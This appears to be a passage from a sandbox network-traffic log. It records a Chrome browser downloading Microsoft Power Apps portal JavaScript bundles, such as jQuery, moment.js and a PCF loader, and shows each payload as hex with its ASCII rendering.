2025-01-15 14:11:59 UTC	15558	IN	Data Raw: 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 3d 3d 3d 22 6f 62 6a 65 63 74 22 26 26 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 21 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 29 7b 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 28 29 7d 65 6c 73 65 20 69 66 28 74 79 70 65 6f 66 20 64 65 66 69 6e 65 3d 3d 3d 22 66 75 6e 63 74 69 6f 6e 22 26 26 64 65 66 69 6e 65 2e 61 6d 64 29 7b 64 65 66 69 6e 65 28 5b 5d 2c 65 29 7d 65 6c 73 65 7b 76 61 72 20 74 3b 69 66 28 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 21 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 29 7b 74 3d 77 69 6e 64 6f 77 7d 65 6c 73 65 20 69 66 28 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 21 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 29 7b 74 3d 67 6c 6f 62 61 6c 7d 65 6c 73 65 20 Data Ascii: (function(e){if(typeof exports==="object"&&typeof module!=="undefined"){module.exports=e()}else if(typeof define==="function"&&define.amd){define([],e)}else{var t;if(typeof window!=="undefined"){t=window}else if(typeof global!=="undefined"){t=global}else
2025-01-15 14:11:59 UTC	16384	IN	Data Raw: 72 72 61 79 28 74 3e 31 3f 74 2d 31 3a 30 29 2c 6e 3d 31 3b 6e 3c 74 3b 6e 2b 2b 29 7b 72 5b 6e 2d 31 5d 3d 61 72 67 75 6d 65 6e 74 73 5b 6e 5d 7d 76 61 72 20 6f 3d 30 3b 76 61 72 20 69 3d 22 57 61 72 6e 69 6e 67 3a 20 22 2b 65 2e 72 65 70 6c 61 63 65 28 2f 25 73 2f 67 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 72 5b 6f 2b 2b 5d 7d 29 3b 69 66 28 74 79 70 65 6f 66 20 63 6f 6e 73 6f 6c 65 21 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 29 7b 63 6f 6e 73 6f 6c 65 2e 77 61 72 6e 28 69 29 7d 74 72 79 7b 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 69 29 7d 63 61 74 63 68 28 65 29 7b 7d 7d 3b 72 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 69 66 28 74 3d 3d 3d 75 6e 64 65 66 69 6e 65 64 29 7b 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 60 6c Data Ascii: rray(t>1?t-1:0),n=1;n<t;n++){r[n-1]=arguments[n]}var o=0;var i="Warning: "+e.replace(/%s/g,function(){return r[o++]});if(typeof console!=="undefined"){console.warn(i)}try{throw new Error(i)}catch(e){}};r=function(e,t){if(t===undefined){throw new Error("`l
2025-01-15 14:11:59 UTC	11165	IN	Data Raw: 20 65 7d 29 2e 61 70 70 6c 79 28 74 68 69 73 2c 61 72 67 75 6d 65 6e 74 73 29 7d 2c 5f 5f 73 70 72 65 61 64 41 72 72 61 79 3d 74 68 69 73 26 26 74 68 69 73 2e 5f 5f 73 70 72 65 61 64 41 72 72 61 79 7c 7c 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 72 29 7b 69 66 28 72 7c 7c 32 3d 3d 3d 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 29 66 6f 72 28 76 61 72 20 6e 2c 6f 3d 30 2c 69 3d 74 2e 6c 65 6e 67 74 68 3b 6f 3c 69 3b 6f 2b 2b 29 21 6e 26 26 6f 20 69 6e 20 74 7c 7c 28 28 6e 3d 6e 7c 7c 41 72 72 61 79 2e 70 72 6f 74 6f 74 79 70 65 2e 73 6c 69 63 65 2e 63 61 6c 6c 28 74 2c 30 2c 6f 29 29 5b 6f 5d 3d 74 5b 6f 5d 29 3b 72 65 74 75 72 6e 20 65 2e 63 6f 6e 63 61 74 28 6e 7c 7c 41 72 72 61 79 2e 70 72 6f 74 6f 74 79 70 65 2e 73 6c 69 63 65 2e 63 61 6c 6c 28 74 29 Data Ascii: e}).apply(this,arguments)},__spreadArray=this&&this.__spreadArray\|\|function(e,t,r){if(r\|\|2===arguments.length)for(var n,o=0,i=t.length;o<i;o++)!n&&o in t\|\|((n=n\|\|Array.prototype.slice.call(t,0,o))[o]=t[o]);return e.concat(n\|\|Array.prototype.slice.call(t)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.7	49791	13.107.253.45	443	3924	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 14:11:59 UTC	429	OUT	GET /resource/powerappsportal/dist/preform.BootstrapV5.moment_2_29_4.bundle-cf8e0fd942.js HTTP/1.1 Host: content.powerapps.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-15 14:11:59 UTC	854	IN	HTTP/1.1 200 OK Date: Wed, 15 Jan 2025 14:11:59 GMT Content-Type: application/x-javascript Content-Length: 540048 Connection: close Vary: Accept-Encoding Access-Control-Allow-Origin: * Cache-Control: public, max-age=31536000 Strict-Transport-Security: max-age=31536000; includeSubDomains x-ms-islandgateway: GA000000Z x-ms-static-content: NR000000S Timing-Allow-Origin: * X-ServiceFabric: NoRetry x-ms-service-request-id: 3dc9b523-4028-4042-bd8d-cb62865f3f28 x-ms-correlation-id: 9fa8f4b3-07af-4a01-9cab-a18f08a8f134 x-ms-activity-vector: 00.01.00 Server-Timing: x-ms-igw-upstream-headers;dur=32.0,x-ms-igw-req-overhead;dur=0.3 X-Content-Type-Options: nosniff x-azure-ref: 20250115T141159Z-1848b945c76khrqwhC1MNZunx000000000pg000000008s48 X-Cache: TCP_REMOTE_HIT x-fd-int-roxy-purgeid: 0 X-Cache-Info: L2_T2 Accept-Ranges: bytes
2025-01-15 14:11:59 UTC	15530	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 36 2e 32 20 7c 20 28 63 29 20 4f 70 65 6e 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 2e 64 6f 63 75 6d 65 6e 74 3f 74 28 65 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 75 Data Ascii: /! jQuery v3.6.2 \| (c) OpenJS Foundation and other contributors \| jquery.org/license /!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQu
2025-01-15 14:11:59 UTC	16384	IN	Data Raw: 7c 24 29 22 29 29 26 26 79 28 65 2c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 74 2e 74 65 73 74 28 22 73 74 72 69 6e 67 22 3d 3d 74 79 70 65 6f 66 20 65 2e 63 6c 61 73 73 4e 61 6d 65 26 26 65 2e 63 6c 61 73 73 4e 61 6d 65 7c 7c 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 26 26 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 63 6c 61 73 73 22 29 7c 7c 22 22 29 7d 29 7d 2c 41 54 54 52 3a 66 75 6e 63 74 69 6f 6e 28 69 2c 6e 2c 73 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 61 65 2e 61 74 74 72 28 65 2c 69 29 3b 72 65 74 75 72 6e 20 6e 75 6c 6c 3d 3d 74 3f 22 21 3d 22 3d 3d 3d 6e 3a 21 6e 7c 7c 28 74 2b 3d 22 22 2c 22 3d 22 3d 3d 3d 6e 3f 74 3d 3d 3d Data Ascii: \|$)"))&&y(e,function(e){return t.test("string"==typeof e.className&&e.className\|\|"undefined"!=typeof e.getAttribute&&e.getAttribute("class")\|\|"")})},ATTR:function(i,n,s){return function(e){var t=ae.attr(e,i);return null==t?"!="===n:!n\|\|(t+="","="===n?t===
2025-01-15 14:11:59 UTC	16384	IN	Data Raw: 65 26 26 4c 2e 74 65 73 74 28 65 2e 6e 61 6d 65 29 26 26 6b 2e 63 6f 6e 73 6f 6c 65 2e 77 61 72 6e 28 22 6a 51 75 65 72 79 2e 44 65 66 65 72 72 65 64 20 65 78 63 65 70 74 69 6f 6e 3a 20 22 2b 65 2e 6d 65 73 73 61 67 65 2c 65 2e 73 74 61 63 6b 2c 74 29 7d 2c 43 2e 72 65 61 64 79 45 78 63 65 70 74 69 6f 6e 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 6b 2e 73 65 74 54 69 6d 65 6f 75 74 28 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 72 6f 77 20 65 7d 29 7d 3b 76 61 72 20 57 3d 43 2e 44 65 66 65 72 72 65 64 28 29 3b 66 75 6e 63 74 69 6f 6e 20 59 28 29 7b 44 2e 72 65 6d 6f 76 65 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 44 4f 4d 43 6f 6e 74 65 6e 74 4c 6f 61 64 65 64 22 2c 59 29 2c 6b 2e 72 65 6d 6f 76 65 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 6c 6f 61 64 22 2c Data Ascii: e&&L.test(e.name)&&k.console.warn("jQuery.Deferred exception: "+e.message,e.stack,t)},C.readyException=function(e){k.setTimeout(function(){throw e})};var W=C.Deferred();function Y(){D.removeEventListener("DOMContentLoaded",Y),k.removeEventListener("load",
2025-01-15 14:11:59 UTC	16384	IN	Data Raw: 68 69 6c 64 4e 6f 64 65 73 2e 6c 65 6e 67 74 68 26 26 28 65 3d 74 29 2c 74 7c 7c 72 29 29 7b 66 6f 72 28 61 3d 28 6f 3d 43 2e 6d 61 70 28 67 65 28 65 2c 22 73 63 72 69 70 74 22 29 2c 49 65 29 29 2e 6c 65 6e 67 74 68 3b 68 3c 63 3b 68 2b 2b 29 6c 3d 65 2c 68 21 3d 3d 64 26 26 28 6c 3d 43 2e 63 6c 6f 6e 65 28 6c 2c 21 30 2c 21 30 29 2c 61 26 26 43 2e 6d 65 72 67 65 28 6f 2c 67 65 28 6c 2c 22 73 63 72 69 70 74 22 29 29 29 2c 73 2e 63 61 6c 6c 28 69 5b 68 5d 2c 6c 2c 68 29 3b 69 66 28 61 29 66 6f 72 28 75 3d 6f 5b 6f 2e 6c 65 6e 67 74 68 2d 31 5d 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 2c 43 2e 6d 61 70 28 6f 2c 4f 65 29 2c 68 3d 30 3b 68 3c 61 3b 68 2b 2b 29 6c 3d 6f 5b 68 5d 2c 66 65 2e 74 65 73 74 28 6c 2e 74 79 70 65 7c 7c 22 22 29 26 26 21 47 2e 61 63 Data Ascii: hildNodes.length&&(e=t),t\|\|r)){for(a=(o=C.map(ge(e,"script"),Ie)).length;h<c;h++)l=e,h!==d&&(l=C.clone(l,!0,!0),a&&C.merge(o,ge(l,"script"))),s.call(i[h],l,h);if(a)for(u=o[o.length-1].ownerDocument,C.map(o,Oe),h=0;h<a;h++)l=o[h],fe.test(l.type\|\|"")&&!G.ac
2025-01-15 14:11:59 UTC	16384	IN	Data Raw: 2c 74 2c 69 29 7b 72 65 74 75 72 6e 20 6e 75 6c 6c 3d 3d 65 7c 7c 22 62 6f 6f 6c 65 61 6e 22 3d 3d 74 79 70 65 6f 66 20 65 3f 73 2e 61 70 70 6c 79 28 74 68 69 73 2c 61 72 67 75 6d 65 6e 74 73 29 3a 74 68 69 73 2e 61 6e 69 6d 61 74 65 28 75 74 28 6e 2c 21 30 29 2c 65 2c 74 2c 69 29 7d 7d 29 2c 43 2e 65 61 63 68 28 7b 73 6c 69 64 65 44 6f 77 6e 3a 75 74 28 22 73 68 6f 77 22 29 2c 73 6c 69 64 65 55 70 3a 75 74 28 22 68 69 64 65 22 29 2c 73 6c 69 64 65 54 6f 67 67 6c 65 3a 75 74 28 22 74 6f 67 67 6c 65 22 29 2c 66 61 64 65 49 6e 3a 7b 6f 70 61 63 69 74 79 3a 22 73 68 6f 77 22 7d 2c 66 61 64 65 4f 75 74 3a 7b 6f 70 61 63 69 74 79 3a 22 68 69 64 65 22 7d 2c 66 61 64 65 54 6f 67 67 6c 65 3a 7b 6f 70 61 63 69 74 79 3a 22 74 6f 67 67 6c 65 22 7d 7d 2c 66 75 6e 63 Data Ascii: ,t,i){return null==e\|\|"boolean"==typeof e?s.apply(this,arguments):this.animate(ut(n,!0),e,t,i)}}),C.each({slideDown:ut("show"),slideUp:ut("hide"),slideToggle:ut("toggle"),fadeIn:{opacity:"show"},fadeOut:{opacity:"hide"},fadeToggle:{opacity:"toggle"}},func
2025-01-15 14:11:59 UTC	16384	IN	Data Raw: 6f 6e 28 65 2c 74 2c 69 29 7b 72 65 74 75 72 6e 20 43 2e 61 6a 61 78 28 7b 75 72 6c 3a 65 2c 74 79 70 65 3a 22 47 45 54 22 2c 64 61 74 61 54 79 70 65 3a 22 73 63 72 69 70 74 22 2c 63 61 63 68 65 3a 21 30 2c 61 73 79 6e 63 3a 21 31 2c 67 6c 6f 62 61 6c 3a 21 31 2c 63 6f 6e 76 65 72 74 65 72 73 3a 7b 22 74 65 78 74 20 73 63 72 69 70 74 22 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 7d 7d 2c 64 61 74 61 46 69 6c 74 65 72 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 43 2e 67 6c 6f 62 61 6c 45 76 61 6c 28 65 2c 74 2c 69 29 7d 7d 29 7d 2c 43 2e 66 6e 2e 65 78 74 65 6e 64 28 7b 77 72 61 70 41 6c 6c 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3b 72 65 74 75 72 6e 20 74 68 69 73 5b 30 5d 26 26 28 79 28 65 29 26 26 28 65 3d 65 2e 63 61 6c 6c 28 74 68 69 73 5b 30 5d 29 Data Ascii: on(e,t,i){return C.ajax({url:e,type:"GET",dataType:"script",cache:!0,async:!1,global:!1,converters:{"text script":function(){}},dataFilter:function(e){C.globalEval(e,t,i)}})},C.fn.extend({wrapAll:function(e){var t;return this[0]&&(y(e)&&(e=e.call(this[0])
2025-01-15 14:11:59 UTC	16384	IN	Data Raw: 20 65 26 26 21 41 72 72 61 79 2e 69 73 41 72 72 61 79 28 65 29 3f 28 61 2e 65 61 63 68 28 65 2c 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 61 2e 66 6e 2e 63 73 73 2e 63 61 6c 6c 28 6e 2c 65 2c 74 29 7d 29 2c 74 68 69 73 29 3a 28 22 6e 75 6d 62 65 72 22 3d 3d 74 79 70 65 6f 66 20 74 26 26 28 74 3d 78 28 65 29 2c 69 3d 74 2c 43 2e 74 65 73 74 28 69 29 26 26 53 2e 74 65 73 74 28 69 5b 30 5d 2e 74 6f 55 70 70 65 72 43 61 73 65 28 29 2b 69 2e 73 6c 69 63 65 28 31 29 29 7c 7c 61 2e 63 73 73 4e 75 6d 62 65 72 5b 74 5d 7c 7c 6f 28 22 63 73 73 2d 6e 75 6d 62 65 72 22 2c 27 4e 75 6d 62 65 72 2d 74 79 70 65 64 20 76 61 6c 75 65 73 20 61 72 65 20 64 65 70 72 65 63 61 74 65 64 20 66 6f 72 20 6a 51 75 65 72 79 2e 66 6e 2e 63 73 73 28 20 22 27 2b 65 2b 27 22 2c 20 76 61 Data Ascii: e&&!Array.isArray(e)?(a.each(e,function(e,t){a.fn.css.call(n,e,t)}),this):("number"==typeof t&&(t=x(e),i=t,C.test(i)&&S.test(i[0].toUpperCase()+i.slice(1))\|\|a.cssNumber[t]\|\|o("css-number",'Number-typed values are deprecated for jQuery.fn.css( "'+e+'", va
2025-01-15 14:11:59 UTC	16384	IN	Data Raw: 69 2c 6e 2c 73 29 7b 74 20 69 6e 73 74 61 6e 63 65 6f 66 20 69 65 26 26 28 74 3d 74 2e 5f 77 72 61 70 70 65 64 29 3b 69 20 69 6e 73 74 61 6e 63 65 6f 66 20 69 65 26 26 28 69 3d 69 2e 5f 77 72 61 70 70 65 64 29 3b 76 61 72 20 72 3d 70 2e 63 61 6c 6c 28 74 29 3b 69 66 28 72 21 3d 3d 70 2e 63 61 6c 6c 28 69 29 29 72 65 74 75 72 6e 21 31 3b 69 66 28 6a 26 26 22 5b 6f 62 6a 65 63 74 20 4f 62 6a 65 63 74 5d 22 3d 3d 72 26 26 4c 28 74 29 29 7b 69 66 28 21 4c 28 69 29 29 72 65 74 75 72 6e 21 31 3b 72 3d 73 65 7d 73 77 69 74 63 68 28 72 29 7b 63 61 73 65 22 5b 6f 62 6a 65 63 74 20 52 65 67 45 78 70 5d 22 3a 63 61 73 65 22 5b 6f 62 6a 65 63 74 20 53 74 72 69 6e 67 5d 22 3a 72 65 74 75 72 6e 22 22 2b 74 3d 3d 22 22 2b 69 3b 63 61 73 65 22 5b 6f 62 6a 65 63 74 20 4e Data Ascii: i,n,s){t instanceof ie&&(t=t._wrapped);i instanceof ie&&(i=i._wrapped);var r=p.call(t);if(r!==p.call(i))return!1;if(j&&"[object Object]"==r&&L(t)){if(!L(i))return!1;r=se}switch(r){case"[object RegExp]":case"[object String]":return""+t==""+i;case"[object N
2025-01-15 14:11:59 UTC	16384	IN	Data Raw: 6e 67 74 68 2c 73 3d 30 3b 73 3c 6e 3b 2b 2b 73 29 69 2e 70 75 73 68 28 74 28 65 5b 73 5d 2c 73 29 29 3b 72 65 74 75 72 6e 20 69 7d 66 75 6e 63 74 69 6f 6e 20 6d 28 65 2c 74 29 7b 66 6f 72 28 76 61 72 20 69 20 69 6e 20 74 29 64 28 74 2c 69 29 26 26 28 65 5b 69 5d 3d 74 5b 69 5d 29 3b 72 65 74 75 72 6e 20 64 28 74 2c 22 74 6f 53 74 72 69 6e 67 22 29 26 26 28 65 2e 74 6f 53 74 72 69 6e 67 3d 74 2e 74 6f 53 74 72 69 6e 67 29 2c 64 28 74 2c 22 76 61 6c 75 65 4f 66 22 29 26 26 28 65 2e 76 61 6c 75 65 4f 66 3d 74 2e 76 61 6c 75 65 4f 66 29 2c 65 7d 66 75 6e 63 74 69 6f 6e 20 67 28 65 2c 74 2c 69 2c 6e 29 7b 72 65 74 75 72 6e 20 4d 74 28 65 2c 74 2c 69 2c 6e 2c 21 30 29 2e 75 74 63 28 29 7d 66 75 6e 63 74 69 6f 6e 20 76 28 65 29 7b 72 65 74 75 72 6e 20 6e 75 6c Data Ascii: ngth,s=0;s<n;++s)i.push(t(e[s],s));return i}function m(e,t){for(var i in t)d(t,i)&&(e[i]=t[i]);return d(t,"toString")&&(e.toString=t.toString),d(t,"valueOf")&&(e.valueOf=t.valueOf),e}function g(e,t,i,n){return Mt(e,t,i,n,!0).utc()}function v(e){return nul
2025-01-15 14:11:59 UTC	16384	IN	Data Raw: 3f 3a 3a 28 5c 64 5c 64 29 29 3f 5c 73 28 3f 3a 28 55 54 7c 47 4d 54 7c 5b 45 43 4d 50 5d 5b 53 44 5d 54 29 7c 28 5b 5a 7a 5d 29 7c 28 5b 2b 2d 5d 5c 64 7b 34 7d 29 29 24 2f 2c 62 74 3d 7b 55 54 3a 30 2c 47 4d 54 3a 30 2c 45 44 54 3a 2d 32 34 30 2c 45 53 54 3a 2d 33 30 30 2c 43 44 54 3a 2d 33 30 30 2c 43 53 54 3a 2d 33 36 30 2c 4d 44 54 3a 2d 33 36 30 2c 4d 53 54 3a 2d 34 32 30 2c 50 44 54 3a 2d 34 32 30 2c 50 53 54 3a 2d 34 38 30 7d 3b 66 75 6e 63 74 69 6f 6e 20 77 74 28 65 29 7b 76 61 72 20 74 2c 69 2c 6e 2c 73 2c 72 2c 6f 2c 61 3d 65 2e 5f 69 2c 6c 3d 70 74 2e 65 78 65 63 28 61 29 7c 7c 66 74 2e 65 78 65 63 28 61 29 2c 61 3d 67 74 2e 6c 65 6e 67 74 68 2c 75 3d 76 74 2e 6c 65 6e 67 74 68 3b 69 66 28 6c 29 7b 66 6f 72 28 76 28 65 29 2e 69 73 6f 3d 21 30 Data Ascii: ?::(\d\d))?\s(?:(UT\|GMT\|[ECMP][SD]T)\|([Zz])\|([+-]\d{4}))$/,bt={UT:0,GMT:0,EDT:-240,EST:-300,CDT:-300,CST:-360,MDT:-360,MST:-420,PDT:-420,PST:-480};function wt(e){var t,i,n,s,r,o,a=e._i,l=pt.exec(a)\|\|ft.exec(a),a=gt.length,u=vt.length;if(l){for(v(e).iso=!0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.7	49795	13.107.253.45	443	3924	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 14:11:59 UTC	406	OUT	GET /resource/powerappsportal/dist/pcf-loader.bundle-f4a0e619b8.js HTTP/1.1 Host: content.powerapps.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-15 14:12:00 UTC	827	IN	HTTP/1.1 200 OK Date: Wed, 15 Jan 2025 14:12:00 GMT Content-Type: application/x-javascript Content-Length: 80 Connection: close Access-Control-Allow-Origin: * Cache-Control: public, max-age=31536000 Strict-Transport-Security: max-age=31536000; includeSubDomains x-ms-islandgateway: ga00000JW x-ms-static-content: ZE00000B6 Timing-Allow-Origin: * X-ServiceFabric: NoRetry x-ms-service-request-id: 3d2dd107-7115-4fd0-8b57-5ed629769f71 x-ms-correlation-id: 80bf83c5-0787-4274-96fc-e33c1607ba99 x-ms-activity-vector: 00.01.00 Server-Timing: x-ms-igw-upstream-headers;dur=30.5,x-ms-igw-req-overhead;dur=0.3 X-Content-Type-Options: nosniff x-azure-ref: 20250115T141200Z-1848b945c764csbghC1MNZ7ws8000000016g00000000dag9 X-Cache: TCP_REMOTE_HIT x-fd-int-roxy-purgeid: 0 X-Cache-Info: L2_T2 Accept-Ranges: bytes
2025-01-15 14:12:00 UTC	80	IN	Data Raw: 24 28 28 29 3d 3e 7b 69 66 28 77 69 6e 64 6f 77 2e 6c 6f 61 64 41 6c 6c 50 63 66 43 6f 6e 74 72 6f 6c 73 4f 6e 50 61 67 65 29 7b 77 69 6e 64 6f 77 2e 6c 6f 61 64 41 6c 6c 50 63 66 43 6f 6e 74 72 6f 6c 73 4f 6e 50 61 67 65 28 29 7d 7d 29 3b Data Ascii: $(()=>{if(window.loadAllPcfControlsOnPage){window.loadAllPcfControlsOnPage()}});

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.7	49800	13.107.253.45	443	3924	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 14:12:00 UTC	399	OUT	GET /resource/powerappsportal/dist/pcf.bundle-9183da3d63.js HTTP/1.1 Host: content.powerapps.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-15 14:12:00 UTC	827	IN	HTTP/1.1 200 OK Date: Wed, 15 Jan 2025 14:12:00 GMT Content-Type: application/x-javascript Content-Length: 856286 Connection: close Vary: Accept-Encoding Access-Control-Allow-Origin: * Cache-Control: public, max-age=31536000 Strict-Transport-Security: max-age=31536000; includeSubDomains x-ms-islandgateway: GA00000CP x-ms-static-content: ZE0000072 Timing-Allow-Origin: * X-ServiceFabric: NoRetry x-ms-service-request-id: 88ad58a4-2cb6-411e-9318-bec0fe023ab1 x-ms-correlation-id: 4c44a368-58a7-449a-a6ea-c6db38b8813d x-ms-activity-vector: 00.01.00 Server-Timing: x-ms-igw-upstream-headers;dur=31.5,x-ms-igw-req-overhead;dur=0.3 X-Content-Type-Options: nosniff x-azure-ref: 20250115T141200Z-17f859c6f6bmspknhC1MNZz6rc00000000p0000000008pve X-Cache: TCP_MISS x-fd-int-roxy-purgeid: 0 Accept-Ranges: bytes
2025-01-15 14:12:00 UTC	15557	IN	Data Raw: 21 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 76 61 72 20 72 3d 7b 7d 3b 66 75 6e 63 74 69 6f 6e 20 6f 28 65 29 7b 69 66 28 72 5b 65 5d 29 72 65 74 75 72 6e 20 72 5b 65 5d 2e 65 78 70 6f 72 74 73 3b 76 61 72 20 74 3d 72 5b 65 5d 3d 7b 69 3a 65 2c 6c 3a 21 31 2c 65 78 70 6f 72 74 73 3a 7b 7d 7d 3b 72 65 74 75 72 6e 20 6e 5b 65 5d 2e 63 61 6c 6c 28 74 2e 65 78 70 6f 72 74 73 2c 74 2c 74 2e 65 78 70 6f 72 74 73 2c 6f 29 2c 74 2e 6c 3d 21 30 2c 74 2e 65 78 70 6f 72 74 73 7d 6f 2e 6d 3d 6e 2c 6f 2e 63 3d 72 2c 6f 2e 64 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 6f 2e 6f 28 65 2c 74 29 7c 7c 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 65 2c 74 2c 7b 65 6e 75 6d 65 72 61 62 6c 65 3a 21 30 2c 67 65 74 3a 6e 7d 29 7d 2c 6f 2e 72 3d 66 75 6e Data Ascii: !function(n){var r={};function o(e){if(r[e])return r[e].exports;var t=r[e]={i:e,l:!1,exports:{}};return n[e].call(t.exports,t,t.exports,o),t.l=!0,t.exports}o.m=n,o.c=r,o.d=function(e,t,n){o.o(e,t)\|\|Object.defineProperty(e,t,{enumerable:!0,get:n})},o.r=fun
2025-01-15 14:12:00 UTC	16384	IN	Data Raw: 75 74 65 28 6f 2c 73 5b 6f 5d 29 3b 69 66 28 76 6f 69 64 20 30 21 3d 3d 28 22 75 6e 64 65 66 69 6e 65 64 22 3d 3d 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 3f 22 75 6e 64 65 66 69 6e 65 64 22 3a 24 28 77 69 6e 64 6f 77 29 29 26 26 77 69 6e 64 6f 77 2e 46 65 6c 61 43 6f 6e 66 69 67 29 66 6f 72 28 76 61 72 20 63 20 69 6e 20 77 69 6e 64 6f 77 2e 46 65 6c 61 43 6f 6e 66 69 67 2e 73 74 79 6c 65 4e 6f 64 65 41 74 74 72 69 62 75 74 65 73 29 75 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 63 2c 77 69 6e 64 6f 77 2e 46 65 6c 61 43 6f 6e 66 69 67 2e 73 74 79 6c 65 4e 6f 64 65 41 74 74 72 69 62 75 74 65 73 5b 63 5d 29 3b 72 65 74 75 72 6e 20 6e 3d 6c 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 5b 64 61 74 61 2d 66 65 6c 61 2d 74 79 70 65 5d 22 29 2c 28 61 3d Data Ascii: ute(o,s[o]);if(void 0!==("undefined"==typeof window?"undefined":$(window))&&window.FelaConfig)for(var c in window.FelaConfig.styleNodeAttributes)u.setAttribute(c,window.FelaConfig.styleNodeAttributes[c]);return n=l.querySelectorAll("[data-fela-type]"),(a=
2025-01-15 14:12:00 UTC	16384	IN	Data Raw: 3d 3d 3d 75 3f 22 75 6e 64 65 66 69 6e 65 64 22 3a 70 28 75 29 29 29 7b 74 5b 73 5d 3d 65 28 7b 7d 2c 63 2c 75 29 3b 63 6f 6e 74 69 6e 75 65 7d 7d 74 5b 73 5d 3d 75 7d 7d 72 65 74 75 72 6e 20 74 7d 2c 65 2e 65 78 70 6f 72 74 73 3d 74 2e 64 65 66 61 75 6c 74 7d 2c 2c 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 74 2c 22 5f 5f 65 73 4d 6f 64 75 6c 65 22 2c 7b 76 61 6c 75 65 3a 21 30 7d 29 2c 74 2e 64 65 66 61 75 6c 74 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 28 30 2c 72 2e 64 65 66 61 75 6c 74 29 28 65 29 7d 3b 76 61 72 20 72 3d 28 6e 3d 6e 28 31 30 29 29 26 26 